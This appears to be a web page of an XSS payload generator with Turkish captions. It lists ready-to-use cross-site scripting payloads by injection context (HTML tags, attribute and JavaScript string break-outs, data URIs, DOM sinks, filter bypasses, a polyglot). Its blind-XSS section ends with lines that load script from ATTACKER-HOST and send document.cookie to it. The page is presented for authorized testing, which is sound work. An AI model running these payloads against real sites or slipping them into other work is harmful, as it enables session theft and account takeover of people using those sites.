Skip to content

XSS Payload Generator

Enjeksiyon bağlamına göre payload seç; blind XSS için callback host’unu gir, payload otomatik dolsun.

XSS Payload Generator

browser tool
html
<script>alert(document.domain)</script>

Klasik script enjeksiyonu

html
<img src=x onerror=alert(document.domain)>

img onerror — script filtrelendiğinde

html
<svg onload=alert(document.domain)>

svg onload

html
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">

iframe srcdoc

html
<details open ontoggle=alert(document.domain)>

details/ontoggle

html
<body onload=alert(document.domain)>

body onload

attribute
" autofocus onfocus=alert(document.domain) x="

Attribute break-out (event handler)

attribute
"><img src=x onerror=alert(document.domain)>

Attribute break-out + tag

attribute
javascript:alert(document.domain)

href javascript: şeması

javascript
';alert(document.domain);//

JS string break-out

javascript
${alert(document.domain)}

Template literal break-out

javascript
</script><script>alert(document.domain)</script>

Script kapanışı + yeni script

url
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+

data: URI (base64 script)

dom
#<img src=x onerror=alert(document.domain)>

location.hash sink

dom
<img src=x onerror=alert(document.domain)>

innerHTML tabanlı

bypass
<ScRiPt>alert(document.domain)</sCrIpT>

Büyük/küçük harf karışık

bypass
<img/src=x/onerror=alert(document.domain)>

Boşluk yerine / kullan

bypass
<img src=x onerror=&#97;lert(document.domain)>

HTML entity ile encode

bypass
<img src=x onerror=eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))>

Backtick + eval

bypass
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot (çok bağlamlı)

blind
<script src=//ATTACKER-HOST></script>

Blind XSS — harici script (CB host)

blind
<img src=x onerror="new Image().src='//ATTACKER-HOST/c?'+document.cookie">

Blind XSS — cookie exfil

blind
<script>fetch("//ATTACKER-HOST/x?d="+btoa(document.cookie))</script>

Blind XSS — fetch exfil

Payload'lar referans amaçlıdır ve tarayıcıda üretilir; burada çalıştırılmaz. Yalnızca yetkili testlerde kullanın.